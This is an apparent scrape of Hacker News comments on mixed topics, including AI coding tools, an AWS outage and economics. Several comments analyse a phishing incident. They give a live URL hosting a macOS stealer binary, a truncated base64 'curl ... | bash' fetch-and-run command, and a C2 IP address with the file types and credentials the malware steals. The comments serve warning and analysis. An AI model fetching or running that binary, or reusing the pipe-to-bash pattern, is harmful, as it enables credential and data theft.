MurphyA/hacker-news huggingface dataset:
by johnisgood | 2025-10-20 22:11:17+00:00
So I downloaded this file... Apparently it is:

$ file -b grecaptcha Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

I cannot perform a dynamic analysis as I do not have macOS. :(

May anyone do it for me? Use "otool", "dtruss", and "tcpdump" or something. :D Be careful!

The executable is available here: https://www.amanagencies.com/assets/js/grecaptcha as per decoded base64.
by JumpCrisscross | 2025-10-20 22:11:39+00:00
> the LLM crash has come, and OpenAI barely has any material assets

They have claims on the use of assets via their leases.

More directly, if AI crashes in the next 2 years, they get bailed out. Between OBBA, tariffs and immigration enforcement, the American economy less AI is probably already in a recession. Trump and the GOP would get desperate if the political leash the AI boom has granted them is shortened. Borrowing another few trillion dollars to fix it would be worth the gamble.
by ssl-3 | 2025-10-20 22:11:46+00:00
You don't need me or anyone else to tell you that you're free to call it whatever you want.

I'm going to keep referring to the QuickSync video encoding block in my CPU as "hardware," though, because the tiny lump of transistors that is dedicated to performing this specialized task is something that I can kick.

Relatedly, the business of managing raw NAND storage on Apple devices and abstracting it to operating system software as NVMe: That translation happens in hardware. That hardware is also something that I can kick, so I'm going to keep calling it "hardware".
by hinkley | 2025-10-20 22:12:17+00:00
To me the scariest support email would be discovering that the customer's 'bug' is actually evidence that they are in mortal danger, and not being sure the assailant wasn't reading everything I'm telling the customer.

I thought perhaps this was going that way up until around the echo | bash bit.

I don't think this one is particularly scary. I've brushed much closer to Death even without spear-phishing being involved.
by estearum | 2025-10-20 22:12:57+00:00
"It is a conduit to another human's inner state" sounds metaphysical, but really is not. It is a highly practical concern and a claim that can be traced through physical interactions in the universe, from the observer's neuronal firing patterns directly through to the artist's.

A conduit to the inner state of an Internet compression machine is interesting in its own way, but is definitely not "the same thing."
by s17n | 2025-10-20 22:13:41+00:00
Its definitely wrong - I've used these exact checkout systems at places with way longer menus than any stadium has ever or will ever have. Even if that wasn't the case, it would still be way too speculative of premise to be worth seriously discussing, especially when the Occam's Razor "they reduced the menu size because its easier, they have a captive market, and why try to make good food when you can just charge $20 for a beer" explanation is right there in front of you.
by luisml77 | 2025-10-20 22:14:00+00:00
I agree and I also think the problem is deeper than that. It's about not being able to do most code testing and debugging remotely. You can't really test anything remotely really... Its in an ephemeral container without any of your data, just your repo. You can't have the model do npm run dev and browse to see the webpage, click around, etc. You can't compile or run anything heavy, you can't persist data across sessions/days, etc.

I like the idea of background agents running in the cloud but it has to be a more persistent environment. It also has to run on a GUI so it can develop web applications or run the programs we are developing, and run them properly with the GUI and requiring clicking around, typing things etc. Computer use, is what we need. But that would probably be too expensive to serve to the masses with the current models
by BrendanEich | 2025-10-20 22:14:07+00:00
JS was ubiquitous when DHTML was pushed by Microsoft, because DHTML required JScript aka JS.

CSS was not there in the '90s because Netscape didn't implement, and MS did its own subset.

JS and CSS both suffered from wildly inconsistent support between Netscape and IE, but JS at root had interop enough to support hotmail, later OddPost, much more. CSS had no extension mechanism based on JS then, so it suffered browser-specific support that was IMHO worse than JS suffered. No way to polyfill.
by lynx97 | 2025-10-20 22:14:31+00:00
Wait...

> echo -n Y3VybCAtc0w... | base64 -d | bash ... > executes a shell script from a remote server — as ChatGPT confirmed when I asked it to analyze it

You needed ChatGPT for that? Decoding the base64 blob without huring yourself is very easy. I don't know if OP is really a dev or in the support department, but in any case: as a customer, I would be worried. Hint: Just remove the " | bash" and you will easily see what the attacker tried you to make execute.
by strbean | 2025-10-20 22:14:37+00:00
Yeah, a distributed ledger for managing property ownership would be pretty borked with no authority to revert thefts, enforce legal orders, etc.

It might be an effective way to get buy in from the government if they don't have to manage much infrastructure, if they still get the (literal?) keys to intervene in things. That would require them to have the basic competency to manage their own access, though.
by potato3732842 | 2025-10-20 22:14:48+00:00
>If the public spends less on material they can afford to build additional bridges

Except what happens is that now that we can build them cheaply they waste the same amount of money by turning what could have been simple I beams into a mirror finish exercise in "art" nobody asks for and was bike-shed into oblivion until the whole budget and more was used up. So the public doesn't actually reap any benefit. It just makes work for more parties on the dole. We don't actually get more bridges. We get a bigger racket.
by DaveZale | 2025-10-20 22:15:38+00:00
WE'RE SORRY, BUT THAT PAGE CANNOT BE FOUND It could be that the page has moved to a different location, or there might have been an error in the URL you were trying to access. Also, you can try using the search box to the right or choosing from one of our recent stories below. If you think the link is broken, please feel free to contact us (don't forget to include the link), and we'll try to fix the problem. Thanks for reading POLITICO.
by Aeolun | 2025-10-20 22:15:40+00:00
I don’t think Claude is actually incapable, you just spend a lot of time telling it to yes, please actually do the difficult thing. Do not give up halfway through.

Codex says “This is a lot of work, let me plan really well.”

Claude says “This is a lot of work, let me step back and do something completely different that you didn’t ask for.”
by clickety_clack | 2025-10-20 22:16:14+00:00
The summaries always seem to be either “it’s two guys throwing a ball to each other with another guy trying to bat it away with a stick” or “a line drive is out, except when someone pulls a Boston reverse. In that case the guy is still out, but his team (which previously was out) is now in, but only if the ball was originally spinning counter-clockwise. If the ball is spinning clockwise, the team that is out gets an out, and an innings which they can use at any time if they are playing at home, and only during a time out called by the home pitcher if playing away”. There is no in between.
Show HN: Online Sourcerer – The best answer to 'source?'
by altugnet | 2025-10-20 22:16:21+00:00
Hello, I made this site to combat misinformation on the internet by allowing users to prove that their claim is valid by linking multiple sources and combining them in a single link

It's very early stage so I would love feedback on: - What types of claims would be most useful to you? - How can I make verification/sourcing more robust? - Any features that would make this actually useful vs just interesting? Thanks in advance, feel free to roast :)
by MostlyStable | 2025-10-20 22:18:07+00:00
As I understand it, this is sort of simulating what it would be like to capture this, by recreating the laser pulse and capturing different phases of it each time, then assembling them; so what is represented in the final composite is not a single pulse of the laser beam.

Would an upgraded version of this that was actually capable of capturing the progress of a single laser pulse through the smoke be a way of getting around the one-way speed of light limitation [0]? It seems like if you could measure the pulse's propagation in one direction, and the other (as measured by when it scatters of the smoke at various positions in both directions), this seems like it would get around it?

But it's been a while since I read an explanation for why we have the one-way limitation in the first place, so I could be forgetting something.

[0] https://en.wikipedia.org/wiki/One-way_speed_of_light
by thewebguyd | 2025-10-20 22:18:15+00:00
There's visible lag & stutters opening the control center on my Series 10.

Likewise, while it performs "fine," interacting with the UI still feels sluggish on Tahoe on my M4 Pro compared to Sequoia. I still have another M4 Pro with sequoia on it and it's a night and day difference, in favor of Sequoia.

There may not be any real performance loss but there is definitely UI latency and it's very noticable.
by Cyph0n | 2025-10-20 22:18:58+00:00
But I just pointed out that China is an exception? Also, China had access to human capital at a scale that no African country had.

Japan pre-45 was a world power, and had industrialized by the early 1900s. WW2 was a mere setback.

Korea is more of a “miracle” than Japan was, but they also did well to industrialize ASAP. They also didn’t face the brunt of European colonialism.
by nerdsniper | 2025-10-20 22:19:33+00:00
The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. It provides a reverse-shell via http://83.219.248.194 and exfiltrates files with the following extensions: txt rtf doc docx xls xlsx key wallet jpg dat pdf pem asc ppk rdp sql ovpn kdbx conf json It looks quite similar to AMOS - Atomic MacOS Stealer.

It also seems to exfiltrate browser session data + cookies, the MacOS keychain database, and all your notes in MacOS Notes.

It's moderately obfuscated, mostly using XOR cipher to obscure data both inside the binary (like that IP address for the C2 server) and also data sent to/from the C2 server.
by tw04 | 2025-10-20 22:19:56+00:00
What part of "a non-functioning prototype" don't you understand?

Literally anyone can make a prototype jet engine. The metallurgy and process to make a functioning one is several orders of magnitude more difficult. Which is why... China still buys the vast, vast majority of their jet engines from Russia for military use. And their commercial passenger jets use engines from CFM.
by dragonwriter | 2025-10-20 22:20:18+00:00
> That is not what deflation is.

Upthread poster is wrong about deflation (at least, who it is bad/good for, its not clear at all to me what they think it is.) But you are also wrong about what it is.

> Deflation is prices are going up and wages are stagnant or falling.

No, deflation is a decrease in the general price level, not an increase (which is inflation), no matter what else happens at the same time.

You just (approximately) described stagflation (the combination of inflation and economic stagnation/recession), which, like deflation is generally bad, but is a very different flavor of bad.
by rolandog | 2025-10-20 22:20:36+00:00
Thanks Hrvoje Horvat for such a detailed diagram! It'll help me learn the Network stack much, much easier.

His book "Operativni sustavi i računalne mreže - Linux u primjeni" [0] (Operating systems and computer networks - Linux in use) may well make learning Croatian worth it! Congrats on publishing, and thanks for such an invaluable contribution!

[0]: https://zenodo.org/records/17371946
by vidarh | 2025-10-20 22:20:36+00:00
It slows it down far too much for me. What I've found after swithcing to --dangerously-skip-permissions is that while the intermediate work product is often total junk, when I then start writing a message to tell Claude to switch approach, a large proportion of the time it has figured that out by itself before I'm finished writing the message.

So increasingly I let it run, and then review when it stops, and then I give it a proper review, and let it run until it stops again. It wastes far less of my time, and finishes new code much faster. At least for the things I've made it do.
by grrowl | 2025-10-20 22:20:39+00:00
OpenAI seems to limit how "hard" your gpt-5-codex can think depending on your subscription plan; whereas Anthropic/Claude only limits how much use you get. I evaluate Codex every month or so with a problem suited to it, but rarely gets merged over a version produced by Charlie (which yes is $500/mo, but rarely causes problems) or something Claude did in a managed or unmanaged session. ymmv
by JustExAWS | 2025-10-20 22:21:34+00:00
I worked at AWS and still have friends who work there. I don’t know any L5s who wouldn’t jump at a chance to leave if they even got a slightly worse offer than what they are making now. I know a few L6s and L7s that would stick around out of momentum.

But I know very few people in the industry who know about Amazon’s reputation that have a life long dream of working there given a choice.

I was 46 when I was hired there for a “permanently remote [sic] field by design role” in ProServe and it was my 8th job out of college. I went in with my eyes wide open. I had a plan, stay for four years, sell my RSUs as soon as they vested, pay off debt, save some money, put it on my resume to open doors and make connections and leave.

I was never expecting to make more when I left. I used the time to downsize and reduce my expenses - including moving to state tax free Florida.

When I saw the writing on the wall, I played the game while I was on focus to get my next vest and wait for the “get 40k+ severance and leave immediately or try to work through the PIP”.

I took the latter and had three offers within 3 weeks. This was late 2023.
by h14h | 2025-10-20 22:21:55+00:00
This might be hot take, but I really wish Elixir had more variety in its ecosystem -- particularly in its client-side ergonomics.

I absolutely love the language, the way it fits into the Erlang runtime, and especially Jose's stewardship. But Phoenix/LV don't jive with my brain nearly as well as Elixir itself does. Additionally, the push towards native development never evolved to a place where it could realistically supplant Expo & RN for me.

This probably sounds insane to anyone who hates how the TS/JS community has a million different frameworks, but I think the upside of all that chaos is that a plethora of new ideas that get explored, and the truly exceptional ideas end up getting adopted anywhere.

My gut feeling is that the Elixir world has a TON of amazing ideas that have yet to be explored.
by mvkel | 2025-10-20 22:22:02+00:00
This is why Anthropic is a zombie company.

They put all of their eggs in the coding basket, with the rest of their mission couched as "effective altruism," or "safetyism," or "solving alignment," (all terms they are more loudly attempting to distance themselves from[0], because it's venture kryptonite).

Meanwhile, all OpenAI had to do was point their training cannon at it for a run, and suddenly Anthropic is irrelevant. OpenAI's focus as a consumer company (and growing as a tool company) is a safe, venture-backable bet.

Frontier AI doesn't feel like a zero-sum game, but for now, if you're betting on AI at all, you can really only bet on OpenAI, like Tesla being a proxy for the entire EV industry.

[0] https://forum.effectivealtruism.org/posts/53Gc35vDLK2u5nBxP/...
by brucehoult | 2025-10-20 22:22:12+00:00
Fortunately my little isolated island chain [1] in the South Pacific Ocean was one of the places where there was someone who brought in early Commodore, Tandy, and Apple machines only a couple of years after the USA and by 1979 or 1980 there were stores in my nearest 40,000 pop provincial city that stocked and repaired them. My school got an Apple ][+ right at the end of 1980, just as I graduated, but the Math HoD [2] asked me to take it home for some of the holidays before I started university and figure it out and come and explain it to him.

A few months after I got my first job after university I persuaded my boss to get the new Apple LaserWriter (in fact the demo unit from the launch), which I connected to the company's Data General "mainframe" (MV10000) and programmed in raw Postscript. In 1987, when the Mac got good enough (e.g. Mac II) we got on those those too as it was just sooo much better than a PC/AT.

[1] NZ

[2] who died just over two years ago, aged 99 1/2, we'd kept in touch the intervening 40+ years
by jongjong | 2025-10-20 22:22:17+00:00
Speaking of DNS, I still cannot comprehend why we still rely on the current complex, aging, centralized, rent-seeking DNS.

It's one one of the few parts of the internet which could potentially be replaced over time with very little disruption.

The hierarchy of resolvers could be replaced with a far simpler flat hierarchy Blockchain where people could buy and permanently own their domains directly on-chain... No recurring fees. People could host websites on the Blockchain from beyond the grave... This is kind of a dream of mine. Not possible to achieve in our current system.
by julianozen | 2025-10-20 22:23:01+00:00
There was a very large outage back in ~2017 that was caused by DynamoDB going down. Because EC2 stored its list of servers in DynamoDB, EC2 went down too. Because DynamoDB ran its compute on EC2, it was suddenly no longer able to spin up new instances to recover.

It took several days to manually spin up DynamoDB/EC2 instances so that both services could recover slowly together. Since then, there was a big push to remove dependencies between the “tier one” systems (S3, DynamoDB, EC2, etc.) so that one system couldn’t bring down another one. Of course, it’s never foolproof.
by nerdsniper | 2025-10-20 22:23:23+00:00
https://dogbolt.org/?id=42fd4600-5141-427c-88af-77b5d9a94ea3...

The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. I posted a bit more analysis here: https://news.ycombinator.com/item?id=45650144
by sidibe | 2025-10-20 22:23:23+00:00
> everybody knows it doesn't make any sense anymore,

The shareholders must not know. Because they can sell whenever they want they don't need to turn the company around. They think Elon is going to put ten billion Optimus out in a few years and the cars are all going to be robotaxis..or they think that more people will think that and send it higher.
by jswny | 2025-10-20 22:23:27+00:00
I find Codex CLI to be very good too, but it’s missing tons of features that I use in Claude Code daily that keep me from switching full time.

- Good bash command permission system

- Rollbacks coupled with conversation and code

- Easy switching between approval modes (Claude had a keybind that makes this easy)

- Ability to send messages while it’s working (Codex just queues them up for after it’s done, Claude injects them into the current task)

- Codex is very frustrating when I have to keep allowing it to run the same commands over and over, Claude this works well when I approve it to run a command for the session

- Agents (these are very useful for controlling context)

- A real plan mode (crucial)

- Skills (these are basically just lazy loaded context and are amazing)

- The sandboxing in codex is so confusing, commands fail all the time because they try to log to some system directory or use internet access which is blocked by default and hard to figure out

- Codex prefers python snippets to bash commands which is very hard to permission and audit

When Codex gets to feature parity, I’ll seriously look at switching, but until then it’s just a really good model wrapped in an okay harness
by zdragnar | 2025-10-20 22:23:31+00:00
Aeropress has much more in common with espresso than cold brew or French press, as the immersion step doesn't last very long (based on how it was made for me).

In fact, cold press is pretty much the only outlier here. Caffeine is highly soluble in water, and the low temperature is the only thing slowing the extraction process down in a cold brew. In all of the other examples, the caffeine is mostly (though admittedly not entirely) extracted before most of the flavors are.
by mapontosevenths | 2025-10-20 22:23:49+00:00
Exactly this.

To properly capture VHS you need something called a TBC. Most have died over the years and the ones that are left are either very expensive or dying as caps fail. A TBC that was once considered low end commonly sells for $1k+ today.

The retrotink can do most of what a TBC does and it's a modern device you can actually buy for a reasonable price. It can also upscale and deinterlace for you in the process saving a ton of work later. The serious archivist would scoff, but it's good enough for home movies, and I would argue that it introduces less noise than 30 year old professional equipment with dying caps.
by aksss | 2025-10-20 22:23:49+00:00
This seems like a fruitless back and forth. To discuss modern slavery, specifically, we need to be clear that we're not talking about the hyperbolic characterization of low-wage or even to some degree exploited labor. Exploited labor (broad term) != literal slave labor (specific). At the same time, we need to understand that many workers around the world do not have the option to leave, even if they are compensated. To merely call this exploited labor can belie the fact that it is adjacent to if not identical to slave labor.

Be that as it may, "exploited labor" is too broad a term without qualifiers to be using it synonymously with slavery. A foreign-national on an H1-B visa in the US working in an IT body shop can be exploited labor (we all have stories), but nobody in their right mind would equate that with slavery. This example is just to illustrate how broad the "exploited labor" label is. Many people are not aware that modern day slavery exists, so it's important to be very clear that by narrowing the terms we use. It doesn't mean we shouldn't care about exploited labor, just a call to respect the nuance in language.
by SOLAR_FIELDS | 2025-10-20 22:24:36+00:00
Part of this is also naïveté of people spinning up systems in AWS us-east-1. Any SRE or operator will tell you to never spin up systems in there unless you have a requirement to do so. It’s long been a tribal knowledge of the instability. This outage is more widespread than others but I see region level outages, at least partial ones, happen there every 1-2 years on average
by johnfn | 2025-10-20 22:24:41+00:00
You’re getting downvoted because the amount of weight I place on your original comment is contingent on whether or not you’re actually using AI to do meaningful work ot not. Without clarifying what you’re doing, it’s impossible to distinguish you from one of those guys that says he’s using AI to do tons of work and then you peek under the hood and he’s made like 15 markdown files and his code is a mess that doesn’t do anything.

Well, that, and it’s just a bit annoying to claim that you’ve found some amazing new secret but that you refuse to share what the secret is. It doesn’t contribute to an interesting discussion whatsoever.
by rayiner | 2025-10-20 22:24:43+00:00
Your argument was that the U.S. needs immigration to compete with China’s population advantage. But China doesn’t have a population advantage in college educated workers. China has to scale its educated workforce by sending more of its population to college. Which is certainly doable, but they are currently where the U.S. was 60 years ago.

Also, the U.S. has a fertility edge over China, which skilled immigrants do not contribute to. The birth rate of the groups comprising most skilled immigrants (Asians) is very low, much lower than for other Americans.